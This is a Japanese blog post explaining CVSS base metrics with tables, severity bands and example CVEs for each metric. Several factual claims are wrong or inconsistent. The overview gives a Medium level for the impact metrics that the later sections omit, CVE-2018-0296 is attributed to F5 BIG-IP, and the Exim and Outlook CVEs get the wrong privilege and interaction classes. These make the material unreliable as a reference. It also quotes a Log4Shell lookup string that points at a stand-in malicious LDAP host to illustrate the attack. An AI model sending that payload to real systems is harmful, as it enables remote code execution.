Zenn
🦆

脆弱性情報の指標値をまとめておこう

に公開
Security
idea

なぜ作成したのか

  • LACさんが脆弱性情報の見方についての記事をだされていたので、この機に乗じて各指標をまとめておこうという試み

参考

https://www.lac.co.jp/lacwatch/people/20250317_004323.html

概要

脆弱性の評価においては、脆弱性の特性や影響度を把握するための指標や属性項目が重要です。以下に、主要な指標と属性項目をMarkdown形式の表で整理し、具体的な脆弱性情報の例を交えて解説します。

指標・属性項目 説明 具体例
CVE識別子 Common Vulnerabilities and Exposuresの略で、脆弱性を一意に特定するための識別子。形式は「CVE-年-番号」。 例：CVE-2024-4577（PHPの引数インジェクションの脆弱性）
CWE識別子 Common Weakness Enumerationの略で、ソフトウェアやハードウェアの一般的な弱点のタイプを分類したリスト。 例：CWE-79（クロスサイトスクリプティング）
CVSS基本評価値（Base Score） 脆弱性の特性や攻撃の受けやすさを評価する基準で、0.0から10.0の範囲でスコア化される。 例：CVSSスコア9.8（PAN-OSの認証回避の脆弱性）
攻撃元区分（Attack Vector, AV） 攻撃がどの経路から可能かを示す指標。ネットワーク（N）、隣接（A）、ローカル（L）、物理（P）の4つに分類される。 例：AV:N（ネットワーク経由で攻撃可能）
攻撃条件の複雑さ（Attack Complexity, AC） 攻撃を成功させるための条件の難易度を示す指標。低（L）または高（H）で評価される。 例：AC:L（低い複雑さで攻撃可能）
必要な特権レベル（Privileges Required, PR） 攻撃を実行するために必要な特権のレベル。不要（N）、低（L）、高（H）で評価される。 例：PR:N（特権不要で攻撃可能）
ユーザ関与レベル（User Interaction, UI） 攻撃を成功させるために被害者の関与が必要かを示す指標。不要（N）または必要（R）で評価される。 例：UI:N（ユーザの関与不要）
機密性への影響（Confidentiality Impact, C） 攻撃が成功した場合の機密性への影響度。高（H）、中（M）、低（L）、なし（N）で評価される。 例：C:H（高い影響）
完全性への影響（Integrity Impact, I） 攻撃が成功した場合の完全性への影響度。高（H）、中（M）、低（L）、なし（N）で評価される。 例：I:H（高い影響）
可用性への影響（Availability Impact, A） 攻撃が成功した場合の可用性への影響度。高（H）、中（M）、低（L）、なし（N）で評価される。 例：A:H（高い影響）

これらの指標や属性項目を活用することで、脆弱性の深刻度や影響範囲を定量的に評価し、適切な対策を講じることが可能となります。

CVSS基本評価値

CVSS (Common Vulnerability Scoring System) の 基本評価値 (Base Score) は、脆弱性の深刻度を数値で表す指標で、0.0～10.0の範囲でスコア化されます。以下に、CVSSスコアの分類とその説明を表形式でまとめます。

CVSSスコア範囲 深刻度レベル 説明
0.0 なし (None) セキュリティへの影響がなく、脆弱性とは見なされない。
0.1 ～ 3.9 低 (Low) 攻撃の成功率が低く、影響が軽微なため、直ちに対応する必要はないが注意が必要。
4.0 ～ 6.9 中 (Medium) 一定のリスクがあり、影響が軽度～中度。早めの対応が推奨される。
7.0 ～ 8.9 高 (High) 深刻な影響があり、攻撃の成功率が高いため、早急な対応が求められる。
9.0 ～ 10.0 緊急 (Critical) 極めて深刻な影響があり、攻撃の成功率も高いため、最優先で対応が必要。

🔍 具体例

  • CVSS 3.1 基本評価スコア: 9.8 (Critical)
    • 脆弱性内容: PAN-OSの認証回避の脆弱性
    • 評価要素:
      • 攻撃元区分 (AV): ネットワーク (N)
      • 攻撃条件の複雑さ (AC): 低 (L)
      • 必要な特権レベル (PR): なし (N)
      • ユーザ関与レベル (UI): 不要 (N)
      • 機密性への影響 (C): 高 (H)
      • 完全性への影響 (I): 高 (H)
      • 可用性への影響 (A): 高 (H)

この例では、リモートから無権限の攻撃が可能で、システムが完全に制御される危険性があるため、緊急 (Critical) に分類され、直ちにパッチ適用が求められます。

💡 活用のポイント

  • スコア7.0以上は、業務システムや重要なデータを扱う環境では即時対応が基本です。
  • スコア4.0～6.9は、リスク管理の観点から早めの対処が望まれます。
  • スコア0.0は対応不要な場合が多いものの、設定やシステムの仕様上の問題が潜んでいる可能性があるため、確認が推奨されます。

この分類を活用し、脆弱性対策の優先度を正確に判断することが重要です。

攻撃元区分（Attack Vector, AV）

攻撃元区分 (Attack Vector, AV) は、脆弱性を悪用するために攻撃者がどのような経路から攻撃を行うかを示します。CVSS (Common Vulnerability Scoring System) では、以下の4つの区分が定義されています。

攻撃元区分 (AV) 名称 説明 攻撃のしやすさ
AV:N Network (ネットワーク) インターネットやLANなどのネットワークを通じて攻撃が可能な場合。
防御が最も難しく、広範囲に影響を与える。		 ★★★★★ (非常に容易)
AV:A Adjacent (隣接) 同一のネットワークセグメント（例：Wi-Fiネットワーク、Bluetooth接続）上のデバイスに対する攻撃。
外部からの侵入は困難だが、セキュリティ設定の不備を突かれやすい。		 ★★★★☆ (容易)
AV:L Local (ローカル) 攻撃者が対象システムに直接アクセスできる状態で攻撃を行う場合。
物理的なアクセスが必要、またはリモートからのリモートデスクトップやSSH接続が必要なケース。		 ★★★☆☆ (やや困難)
AV:P Physical (物理) 攻撃者がターゲットデバイスに物理的に接触し、USBデバイスの接続やチップの改ざんなどの操作が必要な場合。 ★★☆☆☆ (困難)

🔍 具体例

1. AV:N（ネットワーク）

  • 脆弱性例: Log4Shell (CVE-2021-44228)
  • 攻撃内容: 攻撃者はインターネットを通じて、ログデータ内に悪意のあるJNDI Lookupを埋め込むことで、リモートコード実行を可能にします。
  • 影響範囲: 広範囲のシステムやクラウド環境が対象になるため、重大度が非常に高い。

2. AV:A（隣接）

  • 脆弱性例: KRACK攻撃 (WPA2プロトコルの脆弱性)
  • 攻撃内容: 攻撃者がWi-Fiネットワーク内に存在し、鍵の再インストールの脆弱性を悪用して通信データを盗聴する。
  • 影響範囲: 特定のネットワーク環境に限定されるが、データ漏洩や不正アクセスのリスクが高い。

3. AV:L（ローカル）

  • 脆弱性例: Windowsの特権昇格の脆弱性 (CVE-2022-21882)
  • 攻撃内容: 攻撃者が標的システムにログインし、特定の操作を行うことで、管理者権限を奪取する。
  • 影響範囲: 物理的な接触やアカウントの不正入手が必要。

4. AV:P（物理）

  • 脆弱性例: USBデバイスによる悪意のあるファームウェアインジェクション
  • 攻撃内容: 攻撃者がターゲットシステムにUSBデバイスを接続し、ファームウェアを不正に改変することでシステムを制御。
  • 影響範囲: システムに直接触れる環境が前提だが、データ窃取やバックドアの設置が可能。

🚨 まとめ

  • AV:N → ネットワーク経由で攻撃可能 → 最も危険
  • AV:A → 隣接ネットワーク環境からの攻撃 → 比較的危険
  • AV:L → ローカル環境の侵入後の攻撃 → 対策が容易
  • AV:P → 物理的な接触が必要 → 最も制限される

CVSSスコアの評価では、「AV:N」のように遠隔から攻撃が可能な脆弱性は、リスクがより高く評価される傾向にあります。対策の優先度を判断する際に重要な要素となるため、AVの理解は非常に重要です。

攻撃条件の複雑さ（Attack Complexity, AC）

攻撃条件の複雑さ (Attack Complexity, AC) は、攻撃を成功させるために特定の条件や前提がどの程度必要かを評価する指標です。CVSS 3.1 では、以下の2つのレベルで評価されます。

攻撃条件の複雑さ (AC) 説明 具体例
AC:L (Low / 低) 攻撃を実行するための特別な条件がほとんどなく、成功させるのが容易。
システムの設定ミスや既知のエクスプロイトが容易に利用できる。		 - CVE-2021-44228 (Log4Shell)
→ 特別な環境や操作不要。悪意のある文字列をログに送るだけでリモートコード実行が可能。
AC:H (High / 高) 攻撃を成功させるには、特定の状況や複雑な環境が必要。
例えば、通信のタイミングが重要、特定のユーザの行動が必要など。		 - CVE-2020-1337 (Windows Print Spooler権限昇格)
→ 正確なタイミングでサービスの動作を狙う必要があり、成功の再現性が低い。

🔍 具体的な条件の例

AC:L（低） - 攻撃が容易な事例

  • 条件例 1:
    攻撃者がリモートから任意のコマンドを実行できるエクスプロイトが存在し、特別な事前操作が不要。
    例: Log4Shell（CVE-2021-44228）

    • 手順: 攻撃者は、対象のアプリケーションに特定のJNDI Lookup文字列 (${jndi:ldap://malicious.com/a}) を送信するだけでリモートコード実行が可能。
    • 解説: エクスプロイトは非常にシンプルで、容易に再現できるため「AC:L」に分類されます。

  • 条件例 2:
    Webサーバーの設定ミスにより、ディレクトリトラバーサル攻撃 (../) でサーバー内の機密ファイルが読み取れる。
    例: Apacheサーバーのパス・トラバーサル脆弱性。

AC:H（高） - 攻撃が困難な事例

  • 条件例 1:
    攻撃成功には、被害者が特定のWebページにログインし、さらにセッション中に攻撃者が悪意のあるリクエストを送る必要がある。
    例: CSRF (Cross-Site Request Forgery) 攻撃。

    • 解説: セッションの有効性や被害者の行動に依存するため、条件が複雑で「AC:H」と評価されます。

  • 条件例 2:
    通信データが暗号化されており、攻撃者が解読するために特定の条件下で通信パケットを傍受し、さらに時間やタイミングを精密に計算して攻撃を行う必要がある。
    例: TLSプロトコルのタイミング攻撃。

🚨 まとめ

攻撃条件の複雑さ (AC) 条件の特性 影響度
AC:L (低) 条件が少なく、誰でも容易に再現可能。 リスクが高い
AC:H (高) 特定の環境や操作が必要で、再現性が低い。 リスクが低め

💡 対策のポイント

  • AC:L（低） の脆弱性は、即時対応が最優先です。攻撃の成功確率が高いため、リスクが大きくなります。
  • AC:H（高） の脆弱性は、攻撃成功の再現性が低いため、他のリスク要因と併せて優先順位を検討するのが効果的です。

必要な特権レベル（Privileges Required, PR）

必要な特権レベル (Privileges Required, PR) は、攻撃を成功させるために攻撃者が取得する必要のある権限レベルを評価する指標です。CVSS (Common Vulnerability Scoring System) では、以下の3つのレベルに分類されます。

必要な特権レベル (PR) 説明 具体例
PR:N (None / なし) 攻撃者が特権を全く持たず、認証不要で攻撃が可能な場合。
最も危険な攻撃条件に該当する。		 - Log4Shell (CVE-2021-44228)
→ 攻撃者は特権やアカウントなしにリモートコード実行が可能。
PR:L (Low / 低) 攻撃者がシステムの一般ユーザー権限など、低レベルの権限を持っている必要がある場合。 - CVE-2022-26925 (Windows Kerberos特権昇格の脆弱性)
→ 通常のユーザー権限があれば、管理者権限を取得できる。
PR:H (High / 高) 攻撃者がシステム管理者権限やルート権限など、高度な権限を持っている必要がある場合。
攻撃の前提条件が厳しいため、重大度は低く評価される。		 - CVE-2018-6789 (Eximメーラーのバッファオーバーフロー脆弱性)
→ 管理者権限が必要であり、攻撃成功には特定のシステム状態が求められる。

🔍 具体的な攻撃事例

1. PR:N（なし） - 最も危険な事例

  • 脆弱性例: Log4Shell (CVE-2021-44228)
  • 攻撃内容: 攻撃者は特別な権限なしに、ターゲットアプリケーションへ悪意のある文字列 (${jndi:ldap://malicious.com/a}) を送るだけでリモートコード実行が可能。
  • 解説: PR:N の脆弱性は、外部から広範囲に被害を及ぼすため、最優先での対処が求められます。

2. PR:L（低） - 権限昇格の事例

  • 脆弱性例: CVE-2022-26925 (Windows Kerberos認証の特権昇格)
  • 攻撃内容: 通常のドメインユーザー権限を持っている攻撃者が、特定のパケットを偽装することで、ドメインコントローラーの権限を取得可能。
  • 解説: PR:L の脆弱性は、一般ユーザーのアカウントが侵害された際に重大な影響を及ぼすため、迅速なパッチ対応が必要です。

3. PR:H（高） - 攻撃が困難な事例

  • 脆弱性例: CVE-2018-6789 (Eximメーラーの脆弱性)
  • 攻撃内容: 攻撃者は Exim メールサーバーの「root権限」をすでに取得している状態で、バッファオーバーフロー攻撃を行うことで追加のシステム改変が可能。
  • 解説: PR:H の脆弱性は、事前に高度な権限を持っている必要があるため、重大度は相対的に低く評価されることが多いです。

🚨 まとめ

必要な特権レベル (PR) 条件の特性 影響度
PR:N (なし) 誰でも攻撃が可能 → 最も危険 リスクが最も高い
PR:L (低) 一般ユーザー権限が必要 → やや危険 対処が重要
PR:H (高) 管理者権限が必要 → 影響は限定的 対応優先度は低め

💡 対策のポイント

  • PR:N の脆弱性は、最優先での対応が必要。攻撃者が外部から無差別に攻撃できるため、企業システム全体に被害が及ぶリスクがあります。
  • PR:L の脆弱性は、ユーザー権限の管理が重要。脆弱なアカウントが悪用されることが多いため、最小権限の原則（Principle of Least Privilege, PoLP）の導入が有効です。
  • PR:H の脆弱性は、特権アカウントの厳格な管理が重要で、多要素認証 (MFA) の導入やログ監視が効果的です。

ユーザ関与レベル（User Interaction, UI）

ユーザ関与レベル (User Interaction, UI) は、攻撃が成立するためにユーザーが何らかの行動をとる必要があるかを示す指標です。CVSS (Common Vulnerability Scoring System) では、以下の2つのレベルに分類されます。

ユーザ関与レベル (UI) 説明 具体例
UI:N (None / なし) 攻撃者がユーザーの関与なしに脆弱性を悪用できる場合。
リモートから自動的に悪用が可能で、最も危険なカテゴリ。		 - CVE-2021-44228 (Log4Shell)
→ 攻撃者が特定のリクエストを送るだけでリモートコード実行が可能。
UI:R (Required / 必要) 攻撃の成功には、ユーザーがメールの添付ファイルを開く、悪意のあるリンクをクリックするなど、何らかの行動が必要な場合。 - CVE-2023-23397 (Outlookの権限昇格の脆弱性)
→ 攻撃者が悪意のあるカレンダー招待を送り、ユーザーがその通知を開いた場合に悪用可能。

🔍 具体的な攻撃事例とUI評価

1. UI:N（なし） - ユーザーの関与が不要な事例

  • 脆弱性例: Log4Shell (CVE-2021-44228)
  • 攻撃内容:
    攻撃者がターゲットアプリケーションに特定の文字列 (${jndi:ldap://malicious.com/a}) を送信するだけで、リモートコード実行が成立。
  • 評価: UI:N → ユーザーの行動は不要で、サーバーの脆弱性のみで攻撃が成立するため、非常に危険。
  • 対策: 直ちにパッチ適用が推奨。

2. UI:R（必要） - ユーザーの行動が求められる事例

  • 脆弱性例: CVE-2023-23397 (Microsoft Outlookの権限昇格の脆弱性)
  • 攻撃内容:
    攻撃者が悪意のあるカレンダー招待を送信し、ユーザーがその通知を開くと、攻撃者が任意のコードを実行できる。
  • 評価: UI:R → ユーザーの行動が前提のため、攻撃成功率は「UI:N」と比べてやや低め。
  • 対策: メールのリンクやファイルの安全確認、セキュリティ意識の向上が重要。

3. UI:R（必要） - Webのフィッシング攻撃の事例

  • 脆弱性例: Phishingサイト誘導攻撃
  • 攻撃内容:
    攻撃者が偽のログインページを用意し、ユーザーがそのページにクレデンシャル情報を入力することでアカウントを乗っ取る。
  • 評価: UI:R → ユーザーがリンクをクリックし、情報を入力しない限り攻撃が成立しない。
  • 対策: リンク確認や多要素認証 (MFA) の導入が有効。

🚨 まとめ

ユーザ関与レベル (UI) 条件の特性 影響度
UI:N (なし) 攻撃者が完全に自動化でき、ユーザーの行動が不要 → 最も危険 リスクが最も高い
UI:R (必要) 攻撃成功には、ユーザーの行動が必要 → リスクはやや軽減 対処優先度は低め

💡 対策のポイント

  • UI:N (なし) の脆弱性は、ユーザーの操作なしに広範囲に影響を及ぼすため、即時対応が求められます。
  • UI:R (必要) の脆弱性は、エンドユーザーの行動に依存するため、セキュリティ教育や標的型攻撃対策が重要です。
  • 特に、「UI:N × PR:N」（ユーザーの行動不要 & 特権なし）に該当する脆弱性は、最も危険であり、優先的に対策するべきです。

機密性への影響（Confidentiality Impact, C）

機密性への影響 (Confidentiality Impact, C) は、脆弱性が悪用された際に、機密情報 (Confidential Data) への影響がどの程度あるかを評価する指標です。CVSS (Common Vulnerability Scoring System) では、以下の3つのレベルに分類されます。

機密性への影響 (C) 説明 具体例
C:H (High / 高) 攻撃者が機密情報を完全に取得可能で、重大な情報漏洩が発生する場合。
信用情報、個人情報、機密文書などの漏洩が該当。		 - CVE-2021-21972 (VMware vCenter ServerのRCE脆弱性)
→ 認証不要でシステム管理情報が流出可能。
C:L (Low / 低) 部分的に機密情報が漏洩するが、重要度の低い情報に限定される場合。
IPアドレスやサーバーバージョンなどの漏洩が該当。		 - CVE-2018-0296 (F5 BIG-IPの情報漏洩脆弱性)
→ ユーザー名やセッション情報が漏洩する可能性がある。
C:N (None / なし) 機密情報の漏洩は発生せず、情報への影響が全くない場合。 - CVE-2020-1337 (Windows Print Spooler権限昇格)
→ 情報漏洩は発生せず、権限昇格のみが可能。

🔍 具体的な攻撃事例とC評価

1. C:H（高） - 機密情報が完全に漏洩する事例

  • 脆弱性例: CVE-2021-21972 (VMware vCenter ServerのRCE脆弱性)
  • 攻撃内容:
    攻撃者がインターネット経由で未認証のリクエストを送信し、システム管理情報 (例: APIトークン、クレデンシャル情報) を盗み出す。
  • 評価: C:H → 機密情報が完全に漏洩し、組織のセキュリティに重大な影響を与えるため、最も危険度が高い。
  • 対策: ファイアウォールの制御、脆弱性パッチの適用が必須。

2. C:L（低） - 部分的な情報漏洩の事例

  • 脆弱性例: CVE-2018-0296 (F5 BIG-IPの情報漏洩脆弱性)
  • 攻撃内容:
    攻撃者が特定のURLをリクエストすることで、ログデータやユーザー名、IPアドレスといった情報が取得される。
  • 評価: C:L → 一部の情報は漏洩するが、重大な機密情報ではなく、リスクは軽減される。
  • 対策: Webサーバーのエラーメッセージ制御、情報の最小公開ポリシーの実施が有効。

3. C:N（なし） - 機密情報の漏洩がない事例

  • 脆弱性例: CVE-2020-1337 (Windows Print Spooler権限昇格)
  • 攻撃内容:
    攻撃者はシステム内の特権昇格に成功するが、データの読み取りや漏洩は発生しない。
  • 評価: C:N → システム権限が侵害される可能性はあるが、機密情報への影響はない。
  • 対策: 権限管理の強化、ログ監視の実施が重要。

🚨 まとめ

機密性への影響 (C) 条件の特性 影響度
C:H (高) 機密情報が完全に漏洩 → 最も危険 リスクが最も高い
C:L (低) 部分的に情報が漏洩 → やや危険 対処が重要
C:N (なし) 情報漏洩は一切発生しない → 影響は軽微 対応優先度は低め

💡 対策のポイント

  • C:H の脆弱性は、最優先での対応が必要。特に「PR:N × UI:N × C:H」の脆弱性は、最も危険なパターンです。
  • C:L の脆弱性は、情報漏洩のリスクが限定的なため、システムの安全性向上を目的とした対応が推奨されます。
  • C:N の脆弱性は、直接的な情報漏洩リスクはないものの、他の脆弱性と組み合わせて攻撃が行われる可能性があるため、状況に応じた優先度判断が求められます。

可用性への影響（Availability Impact, A）

可用性への影響 (Availability Impact, A) は、脆弱性が悪用された際に、システムの稼働やサービスの継続性に与える影響を評価する指標です。システムのダウンタイム、リソースの消耗、サービス停止といった可用性の低下が対象になります。
CVSS (Common Vulnerability Scoring System) では、以下の3つのレベルに分類されます。

可用性への影響 (A) 説明 具体例
A:H (High / 高) システムが完全に停止、または利用が困難になる。
サービス全体のダウンや、データの消失が発生する場合。		 - CVE-2016-10033 (PHPMailerのRCE脆弱性)
→ 攻撃者がメール送信機能を停止させることで、ビジネスプロセスが妨害される。
A:L (Low / 低) 一部の機能が利用しづらくなるが、サービス全体の停止には至らない。
軽度のリソース消費やパフォーマンス低下が発生する。		 - CVE-2019-9511 (HTTP/2のリソース消耗攻撃)
→ サーバーの応答が遅延するが、完全な停止には至らない。
A:N (None / なし) 可用性への影響は一切発生せず、システムの稼働に影響がない場合。 - CVE-2020-1337 (Windows Print Spooler権限昇格)
→ 権限昇格のみが発生し、システムの可用性は損なわれない。

🔍 具体的な攻撃事例とA評価

1. A:H（高） - システムが完全に停止する事例

  • 脆弱性例: CVE-2016-10033 (PHPMailerのRCE脆弱性)
  • 攻撃内容:
    攻撃者が任意のコードを実行し、メールサーバーを完全に停止させる。ビジネスプロセスが妨害され、メール通知や重要な情報の伝達が不能になる。
  • 評価: A:H → サービス全体がダウンするため、可用性への影響が最も深刻。
  • 対策: システム冗長性の確保、WAF (Web Application Firewall) の導入が有効。

2. A:L（低） - 部分的なサービス遅延や影響の事例

  • 脆弱性例: CVE-2019-9511 (HTTP/2のリソース消耗攻撃)
  • 攻撃内容:
    攻撃者が大量のHTTP/2リクエストを送信し、サーバーのメモリ使用率を急増させることで、レスポンスが著しく遅くなる。
  • 評価: A:L → サービス全体のダウンには至らないが、ユーザーの体感速度が低下し、ビジネスの信頼性に影響を与える可能性がある。
  • 対策: HTTP/2の設定強化、DDoS対策の導入が効果的。

3. A:N（なし） - 可用性の影響がない事例

  • 脆弱性例: CVE-2020-1337 (Windows Print Spooler権限昇格)
  • 攻撃内容:
    攻撃者が権限昇格を実行できるが、システムの稼働や可用性への影響はない。
  • 評価: A:N → システム稼働への影響はなく、業務への影響も発生しない。
  • 対策: 権限管理の強化と脆弱性の適切なモニタリングが有効。

🚨 まとめ

可用性への影響 (A) 条件の特性 影響度
A:H (高) サービスが完全に停止 → 最も危険 リスクが最も高い
A:L (低) 一部のサービス遅延やパフォーマンス低下 → やや危険 対応が推奨される
A:N (なし) 可用性への影響はない → 影響は軽微 対応優先度は低め

💡 対策のポイント

  • A:H の脆弱性は、ビジネス運営の停止や顧客サービスの大幅な中断につながるため、即時対応が必要です。特に「PR:N × UI:N × A:H」の脆弱性は、最も危険なパターンです。
  • A:L の脆弱性は、パフォーマンス低下によるユーザーの不満や信頼低下につながるため、システムモニタリングやリソース管理の強化が重要です。
  • A:N の脆弱性は、直接的な可用性の影響はありませんが、他の脆弱性と組み合わされることで、サービス停止に発展する可能性があるため、総合的なリスク評価が求められます。

所感

  • 社内に脆弱性対応のアナウンスする際、Criticalとかのレベル感のみ伝えていたけれど、内容を把握しておくに越したことはないと再認識
  • CVE番号は情報として蓄積しているけれど、CVEの詳細情報も取得して照合できるようにしておきたいな
GitHubで編集を提案

Discussion